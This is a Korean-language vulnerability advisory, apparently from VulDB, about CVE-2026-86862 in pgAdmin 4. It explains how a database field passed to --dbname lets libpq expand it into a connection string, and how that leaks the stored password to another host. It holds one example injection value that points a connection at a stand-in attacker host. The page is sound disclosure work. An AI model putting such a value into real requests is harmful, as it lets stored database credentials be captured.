CVE-2026-86862 in pgAdmin정보

요약

\~에 의해 VulDB • 2026. 09. 17.

pgAdmin 4의 복원 및 유지 관리 도구는 클라이언트가 제공한 'database' 필드를 pg_restore와 psql에 전달되는 --dbname 옵션의 값으로 직접 전달했습니다. libpq는 등호(=)를 포함하는 데이터베이스 이름을 전체 연결 문자열로 확장하며, 해당 값에 포함된 연결 키워드는 pgAdmin이 제공하는 --host 및 --port 인자보다 우선순위를 가집니다. 따라서 'host=attacker.example port=5432 dbname=x'와 같은 값은 작업이 호출된 서버가 아닌 요청 사용자가 선택한 서버로 유틸리티를 리디렉션합니다. pgAdmin은 유틸리티 실행 전에 복호화된 저장 데이터베이스 비밀번호를 PGPASSWORD 환경 변수에 내보내므로, 리디렉션된 연결은 해당 자격 증명을 공격자가 지정한 엔드포인트에 제시하여 이를 캡처할 수 있습니다. 또한 이 리디션은 요청 사용자가 일반적으로 접근할 수 없는 호스트를 포함하여 pgAdmin 호스트에서 임의의 네트워크 주소로의 아웃바운드 연결을 허용합니다.

이 동작은 tools_restore 또는 tools_maintenance 권한을 가진 모든 인증된 사용자에게 도달 가능합니다. 기본 사용자 역할은 이러한 권한 모두 부여합니다. 유지 관리 도구는 초기 릴리스에서는 영향을 받지 않았는데, 이때 값은 확장 우연히 방지하는 따옴표 헬퍼로 감싸져 있었습니다. 해당 래퍼가 제거되면서 영향이 발생했습니다.

해결책은 PGDATABASE 환경 변수를 통해 대상 데이터베이스를 제공하며, libpq는 이를 리터럴 데이터베이스 이름으로 처리하고 연결 문자열로서 절대 확장하지 않습니다. pg_restore에 --dbname 인자가 필요할 경우 등호가 포함되어 있지 않아 확장이 이루어지지 않는 빈 값이 전달되며, 실제 이름은 환경 변수에서 가져옵니다.

이 문제는 9.18 이전 버전의 복원 및 유지 관리 도구에서 --dbname 인자가 도입된 이후부터 영향을 받는 pgAdmin 4 전체에 해당합니다.

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

책임이 있는

PostgreSQL

예약하다

2026. 09. 08.

모더레이션

수락

항목

VDB-406507

EPSS

0.00000

출처

Want to stay up to date on a daily basis?

Enable the mail alert feature now!